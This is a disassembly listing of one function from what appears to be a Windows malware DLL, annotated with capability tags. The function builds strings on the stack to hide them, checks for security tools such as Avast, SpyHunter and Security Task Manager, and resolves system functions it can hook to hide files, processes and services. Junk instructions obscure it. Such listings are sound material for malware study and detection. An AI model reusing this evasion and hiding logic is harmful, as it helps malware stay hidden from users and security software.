Function at 0x10005140
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ed50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x22c
mov al, byte [0x100251c0]
push ebx
push esi
push edi
test al, al
mov dword [ebp - 0x10], esp
jne 0x100052b6
mov al, byte [0x10025210]
test al, al
jne 0x100052b6
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x238]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x238]
mov esi, 0x7fffffff
push eax
push 0
mov dword [ebp - 0x134], esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x11f]
lea edx, [ebp - 0x238]
rep stosd dword es:[edi], eax
mov cl, 0x6b
mov bl, 0x65
stosb byte es:[edi], al
mov al, 0x20
mov byte [ebp - 0x114], cl
mov byte [ebp - 0x107], cl
lea ecx, [ebp - 0x120]
mov byte [ebp - 0x118], al
mov byte [ebp - 0x113], al
mov al, 0x4d
push ecx
push edx
mov byte [ebp - 0x120], 0x53
mov byte [ebp - 0x11f], bl
mov byte [ebp - 0x11e], 0x63
mov byte [ebp - 0x11d], 0x75
mov byte [ebp - 0x11c], 0x72
mov byte [ebp - 0x11b], 0x69
mov byte [ebp - 0x11a], 0x74
mov byte [ebp - 0x119], 0x79
mov byte [ebp - 0x117], 0x54
mov byte [ebp - 0x116], 0x61
mov byte [ebp - 0x115], 0x73
mov byte [ebp - 0x112], al
mov byte [ebp - 0x111], 0x61
mov byte [ebp - 0x110], 0x6e
mov byte [ebp - 0x10f], 0x61
mov byte [ebp - 0x10e], 0x67
mov byte [ebp - 0x10d], bl
mov byte [ebp - 0x10c], 0x72
mov byte [ebp - 0x10b], 0x5c
mov byte [ebp - 0x10a], 0x54
mov byte [ebp - 0x109], 0x61
mov byte [ebp - 0x108], 0x73
mov byte [ebp - 0x106], al
mov byte [ebp - 0x105], 0x61
mov byte [ebp - 0x104], 0x6e
mov byte [ebp - 0x103], 0
call fcn.10012670
add esp, 8
test eax, eax
je 0x100052c7
mov byte [0x10025210], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
mov eax, 0x6aeb6ff4
sbb eax, edx
mov eax, 0x980c81f8
add eax, esp
pop eax
xor eax, eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x4f], eax
lea edx, [ebp - 0x238]
mov dword [ebp - 0x4b], eax
push ecx
mov word [ebp - 0x47], ax
push edx
mov byte [ebp - 0x45], al
mov byte [ebp - 0x50], 0x53
mov byte [ebp - 0x4f], 0x79
mov byte [ebp - 0x4e], 0x6e
mov byte [ebp - 0x4d], 0x54
mov byte [ebp - 0x4c], 0x50
mov byte [ebp - 0x4b], 0x48
mov byte [ebp - 0x4a], bl
mov byte [ebp - 0x49], 0x6c
mov byte [ebp - 0x48], 0x70
mov byte [ebp - 0x47], bl
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], al
call fcn.10012670
add esp, 8
test eax, eax
jne 0x1000536b
mov eax, 0xfffffffc
cdq
xor eax, edx
sub eax, edx
cmp eax, 3
jne 0x10005341
push 0
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov esi, eax
cmp esi, 0x7fffffff
mov dword [ebp - 0x134], esi
je 0x1000536b
push 0xf
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dl, byte [0x10025224]
xor eax, eax
mov dword [ebp - 0x1b], eax
mov ecx, 6
mov dword [ebp - 0x17], eax
lea edi, [ebp - 0xff]
mov byte [ebp - 0x100], dl
mov byte [ebp - 0x13], al
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [ebp - 0xc7], eax
mov dword [ebp - 0xe3], ecx
mov dword [ebp - 0xc3], eax
mov dword [ebp - 0xdf], ecx
mov dword [ebp - 0xbf], eax
mov dword [ebp - 0xdb], ecx
mov dword [ebp - 0xbb], eax
mov dword [ebp - 0xd7], ecx
mov word [ebp - 0xb7], ax
mov dword [ebp - 0xd3], ecx
mov dword [ebp - 0x87], ecx
mov dword [ebp - 0x83], ecx
mov byte [ebp - 0xb5], al
mov dword [ebp - 0x7f], ecx
mov dword [ebp - 0x43], eax
mov dword [ebp - 0x7b], ecx
mov dword [ebp - 0x3f], eax
mov dword [ebp - 0x77], ecx
mov dword [ebp - 0x3b], eax
mov byte [ebp - 0x73], cl
mov dword [ebp - 0x33], ecx
mov dword [ebp - 0x2f], ecx
mov dword [ebp - 0x27], eax
mov word [ebp - 0x2b], cx
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x12f], ecx
mov byte [ebp - 0x1f], al
mov dword [ebp - 0x12b], ecx
mov dword [ebp - 0x6f], eax
mov dword [ebp - 0x127], ecx
mov dword [ebp - 0x6b], eax
mov dword [ebp - 0x5f], ecx
mov byte [ebp - 0xe4], dl
mov byte [ebp - 0xc8], dl
mov byte [ebp - 0x88], dl
mov byte [ebp - 0x44], dl
mov byte [ebp - 0x34], dl
mov byte [ebp - 0x28], dl
mov byte [ebp - 0x130], dl
mov byte [ebp - 0x70], dl
mov dword [ebp - 0x67], eax
mov byte [ebp - 0x60], dl
mov dword [ebp - 0x5b], ecx
mov dl, 0x78
mov al, 0x2e
mov dword [ebp - 0x57], ecx
mov byte [ebp - 0xa4], bl
mov byte [ebp - 0xa3], dl
mov byte [ebp - 0xa2], 0x70
mov byte [ebp - 0xa1], 0x6c
mov byte [ebp - 0xa0], 0x6f
mov byte [ebp - 0x9f], 0x72
mov byte [ebp - 0x9e], bl
mov byte [ebp - 0x9d], 0x72
mov byte [ebp - 0x9c], al
mov byte [ebp - 0x9b], bl
mov byte [ebp - 0x9a], dl
mov byte [ebp - 0x99], bl
mov byte [ebp - 0x98], cl
mov byte [ebp - 0xb4], 0x4b
mov byte [ebp - 0xb3], bl
mov byte [ebp - 0xb2], 0x72
mov byte [ebp - 0xb1], 0x6e
mov byte [ebp - 0xb0], bl
mov byte [ebp - 0xaf], 0x6c
mov byte [ebp - 0xae], 0x33
mov byte [ebp - 0xad], 0x32
mov byte [ebp - 0xac], al
mov byte [ebp - 0xab], 0x64
mov byte [ebp - 0xaa], 0x6c
mov byte [ebp - 0xa9], 0x6c
mov byte [ebp - 0xa8], cl
mov cl, 0x4c
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x54
mov byte [ebp - 0x1a], 0x44
mov byte [ebp - 0x19], cl
mov byte [ebp - 0x18], cl
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], 0x44
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x14], cl
mov byte [ebp - 0x13], 0
push ebx
sbb ebx, edx
mov ebx, 0x62a2e429
nop
pop ebx
mov cl, 0x6d
mov byte [ebp - 0x100], 0x4e
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x51
mov byte [ebp - 0xfd], 0x75
mov byte [ebp - 0xfc], bl
mov byte [ebp - 0xfb], 0x72
mov byte [ebp - 0xfa], 0x79
mov byte [ebp - 0xf9], 0x53
mov byte [ebp - 0xf8], 0x79
mov byte [ebp - 0xf7], 0x73
mov byte [ebp - 0xf6], 0x74
mov byte [ebp - 0xf5], bl
mov byte [ebp - 0xf4], cl
mov byte [ebp - 0xf3], 0x49
mov byte [ebp - 0xf2], 0x6e
mov byte [ebp - 0xf1], 0x66
mov byte [ebp - 0xf0], 0x6f
mov byte [ebp - 0xef], 0x72
mov byte [ebp - 0xee], cl
mov byte [ebp - 0xed], 0x61
mov byte [ebp - 0xec], 0x74
mov byte [ebp - 0xeb], 0x69
mov byte [ebp - 0xea], 0x6f
mov byte [ebp - 0xe9], 0x6e
mov byte [ebp - 0xe8], 0
mov byte [ebp - 0xe4], 0x5a
mov byte [ebp - 0xe3], 0x77
mov byte [ebp - 0xe2], 0x51
mov byte [ebp - 0xe1], 0x75
mov byte [ebp - 0xe0], bl
mov byte [ebp - 0xdf], 0x72
mov byte [ebp - 0xde], 0x79
mov byte [ebp - 0xdd], 0x44
mov byte [ebp - 0xdc], 0x69
mov byte [ebp - 0xdb], 0x72
mov byte [ebp - 0xda], bl
mov byte [ebp - 0xd9], 0x63
mov byte [ebp - 0xd8], 0x74
mov byte [ebp - 0xd7], 0x6f
mov byte [ebp - 0xd6], 0x72
mov byte [ebp - 0xd5], 0x79
mov byte [ebp - 0xd4], 0x46
mov byte [ebp - 0xd3], 0x69
mov byte [ebp - 0xd2], 0x6c
mov byte [ebp - 0xd1], bl
mov byte [ebp - 0xd0], 0
push edx
sbb edx, esp
mov edx, 0xef9f5105
add edx, eax
add edx, esp
nop
pop edx
mov byte [ebp - 0xc8], 0x5a
mov byte [ebp - 0xc7], 0x77
mov byte [ebp - 0xc6], 0x45
mov byte [ebp - 0xc5], 0x6e
mov byte [ebp - 0xc4], 0x75
mov byte [ebp - 0xc3], cl
mov byte [ebp - 0xc2], bl
mov byte [ebp - 0xc1], 0x72
mov byte [ebp - 0xc0], 0x61
mov byte [ebp - 0xbf], 0x74
mov byte [ebp - 0xbe], bl
mov byte [ebp - 0xbd], 0x56
mov byte [ebp - 0xbc], 0x61
mov byte [ebp - 0xbb], 0x6c
mov byte [ebp - 0xba], 0x75
mov byte [ebp - 0xb9], bl
mov byte [ebp - 0xb8], 0x4b
mov byte [ebp - 0xb7], bl
mov byte [ebp - 0xb6], 0x79
mov byte [ebp - 0xb5], 0
mov byte [ebp - 0x85], cl
mov cl, 0x76
mov byte [ebp - 0x88], 0x45
mov byte [ebp - 0x87], 0x6e
mov byte [ebp - 0x86], 0x75
mov byte [ebp - 0x84], 0x53
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0x72
mov byte [ebp - 0x81], cl
mov byte [ebp - 0x80], 0x69
mov byte [ebp - 0x7f], 0x63
mov byte [ebp - 0x7e], bl
mov byte [ebp - 0x7d], 0x73
mov byte [ebp - 0x7c], 0x53
mov byte [ebp - 0x7b], 0x74
mov byte [ebp - 0x7a], 0x61
mov byte [ebp - 0x79], 0x74
mov byte [ebp - 0x78], 0x75
mov byte [ebp - 0x77], 0x73
mov byte [ebp - 0x76], 0x45
mov byte [ebp - 0x75], dl
mov byte [ebp - 0x74], 0x41
mov byte [ebp - 0x73], 0
push ebp
xor ebp, edx
sbb ebp, esp
mov ebp, 0xa046ed97
and ebp, edi
or ebp, ebp
pop ebp
mov byte [ebp - 0x44], 0x41
mov byte [ebp - 0x43], 0x64
mov byte [ebp - 0x42], cl
mov byte [ebp - 0x41], 0x61
mov byte [ebp - 0x40], 0x70
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x33
mov byte [ebp - 0x3d], 0x32
mov byte [ebp - 0x3c], al
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x60], 0x73
mov byte [ebp - 0x5f], 0x64
mov byte [ebp - 0x5e], 0x72
mov byte [ebp - 0x5d], 0x6f
mov byte [ebp - 0x5c], 0x6f
mov byte [ebp - 0x5b], 0x74
mov byte [ebp - 0x5a], 0x61
mov byte [ebp - 0x59], 0x6c
mov byte [ebp - 0x58], 0x79
mov byte [ebp - 0x57], 0x7a
mov byte [ebp - 0x56], bl
mov byte [ebp - 0x55], 0x72
mov byte [ebp - 0x54], 0
mov byte [ebp - 0x34], 0x61
mov byte [ebp - 0x33], cl
mov byte [ebp - 0x32], 0x73
mov byte [ebp - 0x31], 0x63
mov byte [ebp - 0x30], 0x61
mov byte [ebp - 0x2f], 0x6e
mov byte [ebp - 0x2e], al
mov byte [ebp - 0x2d], bl
mov byte [ebp - 0x2c], dl
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0
mov byte [ebp - 0x70], 0x61
mov byte [ebp - 0x6f], cl
mov byte [ebp - 0x6e], 0x61
mov byte [ebp - 0x6d], 0x73
mov byte [ebp - 0x6c], 0x74
mov byte [ebp - 0x6b], 0x73
mov byte [ebp - 0x6a], cl
mov byte [ebp - 0x69], 0x63
mov byte [ebp - 0x68], al
mov byte [ebp - 0x67], bl
mov byte [ebp - 0x66], dl
mov byte [ebp - 0x65], bl
mov byte [ebp - 0x64], 0
push edi
xor edi, eax
sbb edi, eax
xor edi, eax
and edi, ecx
pop edi
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], 0x70
mov byte [ebp - 0x26], 0x79
mov byte [ebp - 0x25], 0x68
mov byte [ebp - 0x24], 0x75
mov byte [ebp - 0x23], 0x6e
mov edx, dword [0x100251c4]
mov byte [ebp - 0x22], 0x74
push edx
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0
call fcn.100011b0
add esp, 4
lea eax, [ebp - 0x238]
push eax
call fcn.1001ea92
lea ecx, [ebp - 0x130]
push ecx
call fcn.10001020
add esp, 8
lea edx, [ebp - 0x238]
push eax
push edx
call fcn.10012670
test eax, eax
lea eax, [ebp - 0x60]
lea ecx, [ebp - 0x238]
push eax
push ecx
setne byte [ebp - 0xcd]
call fcn.10012670
test eax, eax
lea edx, [ebp - 0x34]
lea eax, [ebp - 0x238]
push edx
push eax
setne byte [ebp - 0xcc]
call fcn.10012670
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x238]
test eax, eax
push ecx
push edx
setne byte [ebp - 0xc9]
call fcn.10012670
test eax, eax
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x238]
push eax
push ecx
setne byte [ebp - 0xca]
call fcn.10012670
test eax, eax
lea edx, [ebp - 0xa4]
lea eax, [ebp - 0x238]
push edx
push eax
setne byte [ebp - 0xcb]
call fcn.10012670
add esp, 0x30
test eax, eax
mov al, byte [ebp - 0xcd]
setne cl
test al, al
mov byte [0x1002521c], cl
jne 0x10005964
mov al, byte [ebp - 0xc9]
test al, al
jne 0x10005964
mov al, byte [ebp - 0xca]
test al, al
jne 0x10005964
mov al, byte [ebp - 0xcc]
test al, al
jne 0x10005964
mov al, byte [ebp - 0xcb]
test al, al
jne 0x10005964
xor al, al
jmp 0x10005966
mov al, 1
push ecx
mov ecx, 0x2ee9a767
mov ecx, 0xa15307bc
sbb ecx, esp
add ecx, esi
pop ecx
test al, al
jne 0x10005a78
lea edx, [ebp - 0x100]
push 0x1000f4a0
lea eax, [ebp - 0x1c]
push edx
push eax
call fcn.10001330
add esp, 0xc
lea ecx, [ebp - 0xe4]
lea edx, [ebp - 0x1c]
mov dword [0x100251d0], eax
push 0x1000fa70
push ecx
push edx
call fcn.10001330
mov dword [0x100251d4], eax
mov al, byte [0x10027984]
add esp, 0xc
test al, al
jne 0x100059e3
lea eax, [ebp - 0xc8]
push 0x1000f330
lea ecx, [ebp - 0x1c]
push eax
push ecx
call fcn.10001330
add esp, 0xc
mov dword [0x100251d8], eax
jmp 0x10005a78
lea edx, [ebp - 0x88]
push 0x10010b60
lea eax, [ebp - 0x44]
push edx
push eax
call fcn.10001330
add esp, 0xc
lea ecx, [ebp - 0x88]
lea edx, [ebp - 0x44]
mov dword [0x100251f0], eax
push 0x10011070
push ecx
push edx
mov byte [ebp - 0x74], 0x57
call fcn.10001330
add esp, 0xc
mov dword [0x100251ec], eax
push ecx
mov ecx, 0x672b71b9
mov ecx, 0x306aa6e4
sbb ecx, esp
sbb ecx, esp
nop
pop ecx
lea eax, [ebp - 0x88]
push 0x100101a0
lea ecx, [ebp - 0x44]
push eax
push ecx
mov byte [ebp - 0x76], 0x41
mov byte [ebp - 0x75], 0
call fcn.10001330
add esp, 0xc
mov dword [0x100251e4], eax
lea edx, [ebp - 0x88]
lea eax, [ebp - 0x44]
push 0x10010680
push edx
push eax
mov byte [ebp - 0x76], 0x57
call fcn.10001330
add esp, 0xc
mov dword [0x100251e8], eax
lea ecx, [ebp - 0x94]
push 0x1000f2a0
lea edx, [ebp - 0xb4]
push ecx
push edx
mov byte [ebp - 0x94], 0x4f
mov byte [ebp - 0x93], 0x70
mov byte [ebp - 0x92], bl
mov byte [ebp - 0x91], 0x6e
mov byte [ebp - 0x90], 0x50
mov byte [ebp - 0x8f], 0x72
mov byte [ebp - 0x8e], 0x6f
mov byte [ebp - 0x8d], 0x63
mov byte [ebp - 0x8c], bl
mov byte [ebp - 0x8b], 0x73
mov byte [ebp - 0x8a], 0x73
mov byte [ebp - 0x89], 0
call fcn.10001330
mov dword [0x100251e0], eax
mov eax, esi
cdq
xor eax, edx
add esp, 0xc
sub eax, edx
cmp eax, 0xfffffffc
jne 0x10005b00
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowRect]
cmp esi, 0x7fffffff
je 0x10005b16
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x100251e0]
test eax, eax
jne 0x10005b64
mov eax, dword [0x100251d8]
test eax, eax
jne 0x10005b64
mov eax, dword [0x100251d4]
test eax, eax
jne 0x10005b64
mov eax, dword [0x100251d0]
test eax, eax
jne 0x10005b64
mov eax, dword [0x100251e4]
test eax, eax
jne 0x10005b64
mov eax, dword [0x100251e8]
test eax, eax
jne 0x10005b64
mov byte [0x100251c0], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov byte [0x100251c0], 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret